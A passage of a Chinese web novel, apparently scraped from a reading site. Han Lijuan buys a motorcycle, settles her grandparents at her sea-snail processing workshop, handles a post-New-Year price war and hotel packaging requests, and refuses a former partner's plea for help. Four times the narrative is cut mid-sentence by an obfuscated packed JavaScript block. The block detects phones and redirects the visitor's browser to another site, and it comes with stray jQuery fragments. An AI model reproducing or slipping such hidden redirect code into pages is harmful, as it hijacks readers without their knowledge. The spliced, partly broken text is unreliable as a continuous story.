“我跟你讲，这年头，买得起摩托的都有数的，二手摩托，质量好的，流转不到市场上，想卖都熟人消化了。你在市场上看到的所有二手摩托车，几乎都是问题车，大部分出过事故。” 事故车有的人心里膈应，有的人不懂，看不出问题，容易被骗，就连二手车大哥自己，也不敢保证，收车不看花眼。 这行水深着呢，那干脆做新车。 “多花三两千，自己也安心。”二手摩托跟二手自行车不一样，二手摩托可比自行车保值。 “可这也太贵了！”听了二手车大哥的话，韩丽娟打消了买二手车的念头，虽然她知道，二手车大哥自己卖新车的，所以有夸张成分，但确实，她挑二手自行车知道怎么挑，摩托车可不会。 门外汉，被人忽悠的可能性很大。 “早买早享受，你现在买一辆去大街上，女摩托车手，那回头率，唰唰的！”二手车大哥蛊惑韩丽娟。 韩丽娟没接话，但眼神也没离开摩托车。现在她懂了她妈那句“车好，价也好”了。确实帅，也真贵呢。 “买车不是为了耍帅，是为了实用。”大哥媳妇插话。“别听他忽悠，你想了解啥我给你讲。” 他们这二手自行车摊位挺火，摩托车这没啥人。女人想着拿韩丽娟练练手。 “这太耽误你时间了，我也不买。”韩丽娟连忙拒绝，她不好意思浪费别人时间。 “不买也没关系，咱们先把知识学会，以后想买的时候别人也别想忽悠咱们。”女人拉过韩丽娟，给她讲了很多摩托车知识，这都是她刚刚学到的。 二手车大哥笑了笑，有人又来打听二手车，他又去忙了。 “会不会很沉，这车好不好骑啊？”韩丽娟感觉这大铁疙瘩挺沉，她不会推不动吧。 “不会！”女人一边说着，一边拿着一串钥匙，打开一辆摩托车，推出来。 这是一辆上了牌照的车，应该是他们自己骑的。“上来，我带你试试车。” 哇，韩丽娟赞叹。“你竟然会骑摩托车！” “这车不难骑。”她递给韩丽娟一个头盔。“走，咱俩去溜一圈。” 嗯，这车真不难骑，骑着摩托车回家的韩丽娟还有些飘飘然。 她可真经不住诱惑，就推了两下，跨上去试骑一下，怎么就买回家了呢。 怎么这么经不住诱惑呢，都怪这摩托车，太好看，诱惑了她。 没关系，赚钱就是为了花的！ “轰轰轰——” 韩丽娟她爷她奶正在院子里收拾放的不好，已经开始烂的白菜，就听见有车的轰鸣声由远及近，最后，进了他们院子，停在他俩面前。“咔！”踹下侧撑。 “爷，奶！”头盔一摘，韩丽娟笑容灿烂。“上车呀，我带你俩兜风去。” “这……”老韩头看着这摩托车，走近用手拍拍车屁股。“这大家伙，你买的？” “这……”老太太倒是把目光落在韩丽娟的头上，早晨走的时候，还是麻花辫，这功夫咋成利落的刀削发了！“这头发，可别让你妈知道。” 正月剪头发，要是让她大儿媳妇知道，一定跳脚。 “我保证不告诉她，爷，奶，你俩可得给我保密啊！”她剪头发的时候，真没想这么多，买了车，戴上头盔，就觉得之前的头发太长，路过理发店，照着上面明星的短发直接来一个，理发师夸她这脸型跟发型特别适合呢。 “老大媳妇要是看见这摩托车，哪还有功夫关注这头发。”老韩头一听，乐了。 “哈哈哈，我妈得说我‘穷人得个狗头金，走一步，拎三拎’”。本来买个四轮车就让赵淑芬心疼的哎哎叫，这又买个摩托车，她得捂着心口躺两天。然后说她，有点钱不知道咋嘚瑟。 “你妈也就是嘴上说说心疼钱，还是心疼你。”老太太可知道，自己孙女每天骑车好几十里，关键是这儿的路坡多，很多时候都得推着车子走，多累呀。 她大儿媳妇那张嘴说的狠，心软的很。 “这大玩意！”老韩头还摸着车。“真好呀！”看出来，她爷也是喜欢。 “爷奶，锁门，我带你俩去厂子。” 韩丽娟早就想好，让她奶帮着收拾卫生，她爷看大门。大门有一个小屋，但不咋好了，先凑合凑合，等过一阵天暖和，跟村里打个招呼，沿着门岗这一侧，盖一排活动板房，把洗、煮存波螺这道工序挪出来，顺便把门岗的房间也收拾了，到时候她爷奶白天不忙的时候就能在这边休息，中午他们三能在这吃饭。 “行！”她奶咔嚓锁了门，将钥匙揣兜里，略带笨拙但又快速的爬上车。 “爷？”韩丽娟又叫她爷。“放心，我骑的慢，咱们就在村子里，不能出事。”她看她爷有些踌躇，以为是担心她的车技，忙让他爷放宽心。 扶稳方向盘，控制速度，随时搂闸，韩丽娟自己知道小心。 “哎呀，你都这么大岁数了，还这么脸皮薄呢。”老太太可明白，老头子可不是怕出事，而是这摩托车位置不大，他坐在她身后，俩人就得挤一起，他不好意思。 “哈哈哈，怕啥，爷，摩托车都这样，你没看开摩的的，陌生人都挨得可近了。”韩丽娟放声大笑。 “就是，那天我在市里看，那年轻小姑娘小伙，都挤着，搂着腰。当时我就看一眼，就盯着人家那车看，小姑娘小伙都没车好看，你都老么卡尺眼，谁看你，赶紧的，娟子得去厂子呢，咱们别耽误工夫。” “我就是寻思一下咋上去，你看你说的。我老么卡尺眼，你咋还看上我了。”老头不乐意。 “我眼神也不好。”老太太回他。 “哈哈哈。”韩丽娟被这俩活宝逗笑了。“坐稳了，出发！” 眨么眼的功夫，就到了厂子。 工人们看到韩丽娟都挺高兴的，大家热闹一会，就各忙各的，韩丽娟也给她爷奶安排好活。 “爷奶，累了你俩就在门岗这屋待着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225743|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里有小炉子，院子里有煤，自己烧就行。爷，咱们厂子禁烟的，在厂子里干活不能抽烟哈。中午咱们……” “娟子，有你电话。” 这边韩丽娟还想嘱咐几句，姜美凤喊她。 “你快去忙，我跟你爷在家都闷好米饭了，一会中午下班，咱们回去，炒了菜就吃饭。”她奶三言两语，一边说着，一边推她去接电话。“你先忙你的，我俩这慢慢摸索，一会再说也行。” “市里的唐经理。”韩丽娟走近，姜美凤小声告诉她。 “喂，唐经理，过年好呀！”韩丽娟接过电话。 “过年好，韩厂长！”那边传来爽快的笑声。“我初七就想给你打电话，怕你回老家过年没回来，一直等到今天，听你家送货司机说你回来了，你啥时候有功夫，来我这一趟，有点事找你谈谈，是好事。”电话那端，最后还加上那么一句。 这话韩丽娟也就听听，客户嘴里，不把你踹了就是好事。 “那行，那明天我过去，今天刚刚回来，厂子里也得安排安排。”韩丽娟说。 这都中午了，等韩丽娟过去，人家开始忙晚餐了。 “那就说好了，明天见。” “明天见。” “最近没啥别的事吧？”怪断电话，韩丽娟问姜美凤。 “还真有个事。”姜美凤想了想说。“昨天上午，有个来找活的。” 姜美凤坐到韩丽娟对面，接着说道。“咱们人满了，再说马上就到淡季，不可能招人，我就拒绝了。但她说她有经验，我侧面一问，她之前在给你供过货的刘婶子那边干过。” “那怎么不干了呢？”韩丽娟问。 “她去年冬天过去的，说那时候活多的都干不过来，天天加班到一两点钟，白天还接着干，谁知道过完年本身订单就少了，他们还丢了两个客户，剩下的活都分给老人干，她们这些新去的，没活了，就得出来再找活。” “她知道客户咋被抢走的吗？”韩丽娟问。 “说是有更便宜的作坊，刘婶那边，工人都开始降价了，不然争不过别人。”姜美凤将自己的打听到的都告诉韩丽娟。 “娟子，我记得你说过，供需关系决定价格，在我看来，现在市场还急需咱们这产品，怎么这些人却都急着降价啊？” 姜美凤不懂。 “也许，市里还有很大的市场，但咱们县，波螺肉市场，经过这一个冬天的发酵，已经饱和了。” 他们县城靠海，资源丰富，所以，当波螺肉能赚钱的时候，大家蜂拥而上。春节旺季，更多的人投入进来，等旺季过去，产出没变，需求减少，降价，是必然的了。 “那咱们怎么办？”姜美凤一听，有些担忧。 虽然有合同，但这些合同又能压制住多少呢，而且，如果价格持续走低，那合同上的价格保护，也会失效。 “没事。”韩丽娟安慰她。“长远看，价格下降是必然，但降到一定程度就会持平不动。而且，就算是低价高竞争市场，依然有高端高价格产品的市场，咱们占据这部分市场就行，底下的，让他们争去。” 52. 第 52 章 话虽如此，但韩丽娟心里已经有了危机感，今天去县里各门店送货，目前看，没啥反应，但也可能是这波降价风波年后才刚刚开始，没有涉及到的门店还没有得到消息。但都是餐饮圈，还都是一个县城里的，消息封闭也封闭不了多久。 她如今卖给各门店的不分等级品，刨除优惠后，大概是每斤9块多点，这要看各门店的销量。如果竞争对手们，卖8块到8块五，她还是有品质优势，这个价格能够保持，但如果对方低于八块，她就危险了。 可她不想降价了，首先她降下来的价格有限，也就几毛钱，跟人家动辄一块两块的没办法比。其次，工人们要赚钱，她也要有利润空间，她如今设置质检、包装、保洁等这些非生产制造岗，都是成本，但如果想好好发展，这些岗位是必须要有的。 再加上设备、水电房租日常等其他支出。她的价格高于家庭作坊，可利润并不比他们高多少。 如今她的主要客户在市里，但县里也有几个，这几个客户带来的利润不菲，她不想失去。 “这事我知道了，这两天我出去打探一下消息，美凤姨，如果再有来找活的，你打探一下，看能不能问出来他们干活的地方给别的店供货价是多少。” “好。”姜美凤应道，“没别的事，我就先回车间了。”姜美凤主要就是告诉韩丽娟同行的消息，如今，消息传达完毕，她还有别的事情要忙。 “嗯。”韩丽娟点头。 “对了，摩托车很帅，新发型也不错。”离开前，姜美凤夸道。赚了钱就该花，年轻一回，谁不臭美。 “谢谢。”韩丽娟歪头。因为买了摩托车，赚钱又有了动力。 不过就是降价风波，她经历过，之前能拿下，现在也能。 吃过午饭，韩丽娟决定跑一趟县城。“爷奶，我出去一趟，你们有啥不懂的问美凤姨。” 跟她爷奶打过招呼，韩丽娟骑着摩托，一溜烟跑了。 “这一天，真忙啊。”老头老太太看着自己孙女，这才上班第一天，就这么忙。 韩丽娟准备自己去县里打探一下消息。 “哟，稀客呀！” 县里，曾经是韩丽娟客户，如今被撬走的何老板，看到韩丽娟还有些吃惊。 上次韩丽娟要转签合同，他没签选了别的供货商后，俩人就没再见面，有小半年了吧。 “过年好呀，何老板！”韩丽娟笑眯眯的说。 “过年好，过年好！”来者是客，何老板热情的招呼。“什么风把你吹来了，我可听说了，你现在生意做的大着呢，客户已经都是市里的大酒店了。” “再大在何老板你们这些酒店行业的眼里，都是小作坊！”韩丽娟谦虚的说。“何老板，我的产品升级了，有没有兴趣考虑一下？” 韩丽娟想打探价格，但是她不能直接问，这样显得她对价格很关注。而且，她也不能找人乱打听，想来想去，就以推销新品的接口，过来跟旧客户沟通看看。 “哈哈哈，我就说你今天怎么来我这里，原来是有了新产品。”何老板哈哈哈一笑，突然停住，略带八卦的跟韩丽娟说。“过年回来，周经理没给你包大红包吗？过年他们酒店的香波螺海鲜功夫捞饭可是卖火了，最便宜的一份18块钱，最贵的88！” 88！什么概念，一个工人一个月的工资，只够三碗饭。 黑，真黑呀！ 韩丽娟没有惊讶，这事她知道。周经理的波螺捞饭，不仅仅有波螺，便宜的里面增加扇贝丁，虾仁，贵的里面有海参鲍鱼，都是珍品。 其实都不能叫波螺捞饭，应该叫鲍鱼或者海参捞饭，但韩丽娟看了周经理店里的菜单，看出些门道，最贵的波螺海参鲍鱼捞饭88一份，但海参捞饭或者鲍鱼捞饭66一份，还有香波螺加上几片海参，几片鲍鱼的捞饭，卖38一份或者58一份，这里面，有一些产品就类似她的普通品波螺肉一样，不是卖的，是给人比较价格的。 “是，周经理那边卖的特别好。那何老板呢，咱们店是不是也可以增加新品呀。” 何老板摇摇头。“我这一份波螺饭8块钱，一大份波螺肉馄饨8块，带点素的5块，都是大众价格，谁都能消费的起，酒店规模不一样。” 他也羡慕周经理那边儿价格，同样的凉拌波螺，加点配菜，他这里卖十块八块的，一天卖不出去几份，周经理那里卖28一份，都快桌桌必点了，店跟店，真的没办法比。 “自从我这里换了包装以后，好多客户都说好卖了很多。”韩丽娟夸她的产品。“所以，何老板，不如在换回我的产品？” “你这个太贵！”何老板略一思考，就摇头否决。他还是喜欢用低价的，低价的能保证他的利润，价格高了，利润都被韩丽娟拿走。 “一斤贵一块八毛的，但是给顾客的感觉不一样啊。” “娟子呀，你这是赚了大钱，好久不走市场了吧，现在市场上，7块，甚至6块五的都有，你那个十块，差的可不是一星半点。”何老板反驳韩丽娟。“我说实话，你那个包装，外行人不知道，咱们自己都是做这个的，很多酒店当着顾客面，拿着一个完整包装的，回了后厨，不还是用已经打开的吗，一袋产品一斤，很多菜用量就是几两到半斤，这包装也就是大酒店拿着骗人，华而不实。” 竟然已经到六块五了。韩丽娟一听，这些人真的是，一窝蜂的把市场搅得稀巴烂。 “哎呀，我不是说你包装华而不实，我是说我们这种小店，不能跟风，比不起。”何老板说完，看韩丽娟脸色变了，赶紧找补。 “我懂，大酒店有大酒店的活法，小饭店有小饭店的活法。”韩丽娟不是因为何老板的话生气，她忽然变脸是因为价格。 俩人因为信息不对称，阴差阳错，不过韩丽娟也没打算解释，误会挺好。 “那我不耽误何老板做生意了，祝生意兴隆，我在去别的客户那转转。”韩丽娟起身离开。 “不过如果有需求，还可以给我打电话的哈。”临走前，韩丽娟不忘补充一句。 “那一定。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230088|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 六块五！这还赚什么钱！ 这次的降价，跟之前早市头巾大婶的降价不一样，之前市场行情在，只不过他们早市几个人自己降，其他人没有受他们影响。但这次不一样，这次是行业内部竞争，就如同韩丽娟跟姜美凤说的，年前的那波，让很多人进入行业，但年后没有新增的需求，很多人就想着降价，可随着春季过去，等到了夏季，各门店用货量达到低峰，是现在的二分之一甚至三分之一，那时候价格会什么样的？ 韩丽娟无法想象。 可能也就五六块钱，有利润就有人干。 “要想个别的办法，出售这些不分等级的产品了。”韩丽娟想着，整好明天去市里，她可以在市里转转。 她不能依赖现有的客户，觉得他们需要自己的优等品，就不会放弃自己不分等级那一波产品。 自己要走在他们前面，不能被动的等待。哪怕被波及，有损失，她也要降低损失，尽可能保证利润。 明天见过唐经理后，韩丽娟决定在市里转转，找找机会。 …… “年前太忙，一直想找你聊一聊，但一直没时间。” 第二天，韩丽娟送完县里的货，就直奔唐经理的饭店。唐经理见到她，很热情。 “你这个包装，我喜欢，来店里用餐的顾客也喜欢，但是咱们能不能变个样子呢？” 唐经理端着水杯，放在韩丽娟桌前。“现在这个太单调，你看，能不能外包装上设计上大海，礁石，然后咱们的波螺趴在礁石上。” 他回到座位，一边吹着茶水杯一边说，越说越兴奋。“你看那个方便面的包装，上面有面条，还有半个鸡蛋，看上去就很有食欲嘛。” 这叫好事？ 韩丽娟一听，头都大。 果真客户们的好事，跟她想的好事，是两码事。 他们的产品包装主要是锁“鲜”，然后让顾客一目了然看到里面产品的状态。 毕竟是海鲜类的，眼见为实，吃着放心。 还有就是，钱！ 升级产品包装的时候，她了解过一些相关知识。那些包装从设计到印刷，都需要一定的费用。就算她无需购打印设备，设计费就是很大一笔钱，更何况打包机器也需要钱。 之前，是她免费给客户升级的包装，没有让客户额外掏钱，但如果客户有额外需求，这部分钱她不可能出。 而且，她觉得昨天何经理有一句话说的对“华而不实！” 但…… “唐经理，您这个想法简直太好了！”韩丽娟想着如何拒绝他而不让他生气。 “哈哈哈，是吧，毕竟我也是干了很多年酒店，专业这块，还是有的。” “不瞒您说，我之前也想过，如何把包装整的好看一些，但我就没您想着这么具体，形象。”韩丽娟接着夸。 “哎呀，你年轻嘛，慢慢的就好了。”唐经理吸溜着小茶水，晃着脚。慢斯条理的说。 韩丽娟等着他把水喝完，她要说但是了。 53. 第 53 章 “如果唐经理想要这样的包装，那给我一段时间，我去跑印刷厂，先谢谢贵酒店帮给厂子打广告啦。”韩丽娟说。 “嗯？”这话怎么说，唐经理端杯子的手一顿。什么叫给韩丽娟的厂子宣传。“这怎么能是给你宣传嘛？” “包装难道不是要写我们厂子的名称和地址电话吗？不然写咱们酒店的？这也没必要啊，顾客吃饭的时候都在酒店了！” 韩丽娟解释。 她不想出这部分包装的费用，但她知道，酒店也不会出这部分包装费用。 “嘶~”唐经理细一琢磨，确实对哈，他也知道，不能要求韩丽娟在产品上印他们酒店的名字，毕竟他们的销量在这摆着，单独为他们酒店设计一款包装，那是不可能的。 但难得的能拿出来给顾客展示的食材，没有外包装，又觉得少了点什么，不够高档。 波螺肉这个功夫菜，其实是可以做些文章的。虽然看似普通家常，但是很少有人有耐心在家里做这道菜。外来的游客，也会好奇，不差钱的人海参鲍鱼大虾在自己的城市也能吃到，而波螺肉，真的就是沿海城市才有。 “那你帮我想想，如何能给顾客眼前一亮的感觉？”唐经理问韩丽娟。 “唐经理，其实你可以在顾客面前直接打开包装，甚至，可以在顾客面前完成菜品的最后一步。” 唐经理跟韩丽娟谈论的都是优等品的波螺，优等品主要用于凉拌，以及捞饭、捞面这些。捞饭跟捞面就是将菜码做好，淋到饭或者面上，这一步炒作的时间，并不长和复杂，完全可以在桌前完成。 “对呀！”唐经理一拍手掌，这个方法好，但，这个方法也有弊端，如何控制波螺肉的用量，一袋的重量是固定的，那人数不同，需求不同，这怎么搞。“但，这一袋一斤……” “唐经理如果觉得这个方法好，我们厂可以提供分包服务，一个月三十块钱，不是我要给您涨价，您看现在带包装的产品，就是质量越轻，价格越贵，这其中有人工和材料成本在里面。”韩丽娟适时提出她的想法。 昨天，跟何老板聊过后，何老板的话提醒了她，袋装确实好，但也不是一点缺点没有，比如很多大型酒店，想给顾客展示自己食材的干净卫生，但他们这个包装重量，确实没办法保证一桌一清。 但这属于饭店给顾客的额外服务，跟韩丽娟工厂没有关系。如果酒店想要小包装，那就应该掏钱。 “这你就不应该了，韩厂长，咱们签了一年的合同，你就在乎一年这三百多块？我多卖点，你的利润不也出来了。” 唐经理一听，觉得韩丽娟的格局小了，她不应该是这样的人啊。 “唐经理，如果其他客户知道，我给您提供小包装，他们也需要，我是不是也要提供，一个店我赔进去三百多，十个店就是三千多。况且，我这收费还是自己承担了一部分的费用。”韩丽娟解释。 分包就要再额外招一到两个工人，而且需要的包装也更多了，这部分费用她现在能赚到，就要赚到手。 以后一旦降价，还有这部分费用补充着。 “这样，这个月我给您免费试用到月底，您觉得还不错，3月份开始收费，怎么样？”韩丽娟看看日期，离月底还有半个月时间，这半个月她跟酒店都可以适应一下这个玩法是否靠谱。 唐经理是真的不想掏这三十块钱，但韩丽娟刚刚的提议很打动他，他想尝试一下。既然韩丽娟说2月份免费给提供小包装，那他就试试，看看效果。 如果好，不在乎那三十块钱。如果销量上不来，那他取消这个点子，也不赔钱。 解决完唐经理说的“好消息”，韩丽娟又开始找印刷厂。 为了应对未来波螺肉降价，韩丽娟决定在市里找个“零售商”卖她的产品。 她的很多想法，一部分是从书里看到的，还有就是这些饭店行业的经理老板，提醒的她。 他们的很多话，都让她有新思路。 今天跟唐经理聊天是因为昨天何老板提醒了她，现在想去找包装，是刚刚唐经理提醒了她。 她可以给波螺肉包装一下，更有卖相。 这次找能制造包装的厂家，就比上次找打包机厂家要有目标了，打包机厂家附近，有几家就能做产品包装袋。 “整个袋你听我的，就整成蓝色，大海的颜色，带点白色纹路，代表波浪，还显得干净。正面中间一个白色圆圈，突出一下，里面我给你画一个香波螺，点明重点，你可以想点广告语，广告语就是你想如何说服顾客买你的产品，你的产品优点是啥，我给你写在圆圈下面，简洁点。圆圈上面写上你的品牌名字。背面就简单的一个重量，厂址，邮编电话。” 到了包装印刷厂，设计师一边跟韩丽娟聊，手下一边动作，聊完也画出包装袋的雏形。 这设计师一看就经验丰富。 韩丽娟听了，觉得可以，主要是便宜，设计费100元。如果要复杂的，价格就要贵上很多。比如唐经理说的那个方便面式的包装，设计印刷都有要求，小厂做不来，大厂就韩丽娟这个印刷量不够，不仅设计费高，印刷费也很高。 “没啥意见你就想想广告语，然后你这个产品叫啥名字。”设计师看韩丽娟没提啥意见，就说到。 “名字就叫韩丽娟香波螺肉。”韩丽娟想不出那种奇特的名字，那就一脉相承，所有的都跟她的名字相关。 “广告语，做馅捞饭拌面，干净卫生好吃。” 设计师是一个爽快人，韩丽娟也嘁哩喀喳，很快就把内容定下来。 “行。”设计师觉得韩丽娟这人简直是神仙客户，他遇到的很多人，一个简单的设计纠结的不行，改来改去，屎上雕花。 也不知道这些顾客啥时候明白，产品包装是重要，但是产品才是最重要的。包装这东西，只要说清楚卖的是什么就行。 “你想想，还有什么想要加的吗？”设计师又问。 “能不能加一句：建议零售价。”韩丽娟还真有想要增加的内容。“小包装建议零售价9.9元，大包装建议零售价15.8元。” “可以！”设计师点头。“但这算两份设计，你没意见吧？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235466|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩丽娟摇头。 “那你明天过来，我给你看终稿，如果稿子没啥问题，就能印刷了。”属于设计师跟韩丽娟沟通的内容就这些。 价格在跟设计师沟通前就已经谈好，韩丽娟这个包装，一个袋子一毛八分钱。 韩丽娟还要印一张食谱，单独的，这个内容韩丽娟计划回去找各位饭店客户取取经，做个简单版本。到时候购买她的波螺肉，随产品赠送一张。 她预计用32开的纸，不需要太好的纸，一张9分钱。 她还要买一台封口机。 都是费用，真贵！ 但都是该花的钱。 等韩丽娟回到家的时候，已经是晚上了。 “呀！蒸的包子。”一进屋，韩丽娟就闻到海菜包子的味道。 她去年来滨海就开始卖海菜，除了最开始她想知道这包子怎么做，味道到底是啥样的，做过一两次，再也没做过。 没时间。 没想到爷爷奶奶刚来的第三天，就给她安排上了。 “今天上午，一个姓唐的，给你厂子送波螺的女的，给你带来的。”她奶解释海菜的由来。“我本来是不要的，毕竟是跟你做买卖的，有金钱往来，谁知道收了人家的东西，要给什么好处，但是美凤说，你们关系好，给你就收着就行。” “嗯，给的是吃的，你收着就行，她赶海的时候，顺便就赶了，等过一阵，我忙完，天暖和，我也带你们去海边溜达溜达。”韩丽娟洗手，说。 现在天还有点冷，尤其是海边，海风一吹，感觉穿几层衣服都能被打透，她怕她爷奶受不了，感冒。 “我们不急，你不用太操心我俩，倒是你自己，别累着。”老韩头在一旁，一边扒着蒜，一边说。“我跟你奶今天看你那面袋子，有日头了吧，面都要坏了。” 这得多忙啊，一袋面能吃坏！ 韩丽娟嘿嘿笑了两声。这袋面还是孙慧在的时候就买了的，以前因为有孙慧在，韩丽娟跟孙慧一人一天轮流做饭，她不好太敷衍，有时候会做面食，后来孙慧走了，她直接买了个电饭锅，大米饭省时省力。 三人收拾收拾开始吃饭。 老头老太太不仅做了包子，还给拌了凉菜，炒了鸡蛋。 来这里两天，俩人的心态直接一个大转变。 以前在老家的时候，俩人做饭能不花钱就不花钱，家里有啥吃啥，刚刚来这里的时候，老两口也这么想的，但就两天，俩人就转变想法了，孩子太累，得做点好吃的补补。 就算农村人再会过，农忙的时候也知道多吃油水，才有劲。娟子天天这么跑，不吃点好的，身体扛不住。 “娟子在家呢？” 饭还没吃完，就听门外有人喊韩丽娟。 “谁呀？”坐在炕上的老太太抻着脖子往外看，天有点暗了，没看清。 “我去看看。”老韩头要出去。 “找我的，我去。”韩丽娟蹦下去，一边啃着包子，一边走出去。 “刘婶？”大门口，郑大娘跟刘婶站在门口，笑容拘谨。 54. 第 54 章 刘婶来找她，似乎情理之中，但又在意料之外。 去年，俩人不再合作以后，韩丽娟就没有再遇见过刘婶，最近听到她的消息就是年后回来，姜美凤说刘婶那边的作坊工人出来找工作。 韩丽娟大概猜到她们是为什么而来，但她没想到这俩人来的这么快。 俩人甚至不是空手来的，手里都拎着东西。 这个院子好几户人家，韩丽娟也不好让俩人在门口久站，请进了屋。 老头老太太看来人了，端着包子去隔壁姜美凤家串门去。 “过年回家了吗？家里都好吧。”刘婶寒暄到。将拎来的水果，糕点，罐头放在还没撤下去的饭桌上。 “都挺好。”韩丽娟点头。 “这一晃，有小半年没见了，娟子看着比去年白了哈。”郑大娘打量韩丽娟，转头对刘婶说。 “是，发型也比去年的精神好看。” 俩人一唱一和。 “嗯，不赶海后，白回来一些。”想了想，韩丽娟还是接了话。 总归伸手不打笑脸人。大家相识一场，今天刘婶她们有困难找到她，在不影响自己的前提下，她可以帮着想想有没有解决的办法。 “你说娟子现在多厉害，去年还一个车间呢，现在都三个车间了，手里管着好几十号人。”刘婶又接着夸。 韩丽娟笑了笑。 说起来，她急速把车间从一个开到三个的原因，就是当初刘婶不跟她合作，导致她不能如期完成订单。 听了刘婶的话，郑大娘赶紧碰了碰刘婶胳膊。 都是前后村，当初韩丽娟一夜之间找到一个车间的人这件事，郑大娘跟刘婶她们也都听说了，这老刘，哪壶不开提哪壶。 “哎呀，你看我，娟子，当初那事，是我做的不地道。”刘婶也反应过来，赶紧接着说些好听的。“幸亏没给你带来太大的损失，不然我今天就真的没脸过来了。” 郑大娘在一旁听得想跺脚，这个老刘，到底会不会说话。 “娟子，我们也不跟你绕圈子，今天来，是有事想找你帮忙，年后我们这货就卖不动了，原来的几家饭店，现在要么不用我们的货，要么让我们降价，现在，我们这活，怕是干了今天没明天，想着你这里卖的好，能不能帮我们卖卖。” 郑大娘接过话，她不能让老刘一直绕圈子了。 “对对对。”刘婶点头。 谁能想到，年前好好的，甚至可以说的上红火的生意，就过了个年，啪嗒一下子，一落千丈。 不知道哪里忽然冒出来这么多作坊，年后开始集体降价，这家8块，那家就能7块5，那家7块5，另一家就能7块。原来他们手里的客户，今天丢一家，明天没一家，年前高峰期，她一天能卖出去五十斤的货，年初七开工，接到二十五斤订单，倒也正常，毕竟过完年了，二十五斤都是不错的。初八，二十斤，丢了俩客户，然后，客户开始越来越少，今天就卖出去十斤。 而且，今天已经接到客户那边的消息，希望她们降价。两天前，她们已经主动降过一次了，再降下去，没啥利润了。 “娟子，你帮帮刘婶吧。”刘婶殷切的看着韩丽娟，迫切的希望她点头。 但韩丽娟却摇了摇头。“婶子，还是想想别的办法吧，我没办法帮你卖货。” “娟子，你是因为去年那事吗，婶子给你道歉。”看到韩丽娟摇头，刘婶都快急哭了。 她可打听了，韩丽娟的工厂最近虽然不是火力全开，但每天工人们的生产也都安排的挺满，没有因为这次降价丢客户。 现在生产这些能卖出去，那多她的二三十斤，也不应该是问题。 “婶子，我不是因为去年的事情报复你，才不帮你。”韩丽娟解释。“市场现在很乱，我帮你卖一两天，我这边也被要求降价，减少订单的时候，你怎么办？我怎么办？” 韩丽娟不觉得这波降价风波不会波及到她。 她的客户没找她，有几个原因，第一，就是大酒店跟小酒店之间有壁，本身对品质要求不一样，价格上可以有差别。第二，就是她的客户们在观望，等待市场稳定一下，不然贸贸然跟她这边结束合作或者重新定价都有些麻烦。 还有就是，这些小作坊还没这么快冲击到大酒店，她的客户们对这些消息不那么灵通。 但世界上没有不透风的墙，等到他的客户们知道，外面的产品已经六块五一斤，而他们还买九块多一斤的产品时，分分钟让她降价或者替换一部分她的低端产品。 “而且，我先在的订单也没有增加，帮你卖了，我这边的工人就要减产，他们就没钱赚。” 在商言商，帮助别人的前提，是自己不受损失。 刘婶不可能按照当初6毛一两的价格卖给她，不然，她直接降到6块一斤卖给饭店就好了，6块钱的价格，在市场还是能抗住一阵的。 她现在不缺货，接刘婶的高价货品，她就要少赚。这种口子，她不能开。 “我这货不多，你就帮婶子卖三十，不，二十斤的货就行。”刘婶商量韩丽娟。 韩丽娟摇头，这件事，没什么好商量的。因为不是帮一天两天，她接手过来，就是扛起了刘婶这个作坊存活的责任，这个责任太大，她扛不动。 刘婶十分后悔！ 想起几个月前，韩丽娟跟她商量，多帮她两天，以后俩家可以互相调整产量。那时候的她，被钱迷了眼，想都没想，就拒绝了韩丽娟，谁能想到，会有今天啊。 “娟子，当初你刚刚来滨海，没有工作，是我帮了你，还有，是你郑大娘带你去赶海，你才一步步走到今天的，是，婶子当初有做的不对的地方，但想想当初，要不是找到我们，你今天不一定啥样呢，啊！” 刘婶又开始打感情牌，今天之所以带着郑大娘过来，就是因为当初在她那个系海带扣的作坊里，韩丽娟跟郑大娘关系最好。 听了刘婶的话，韩丽娟也想起去年，也就这个时间，她找活找到刘婶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238412|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 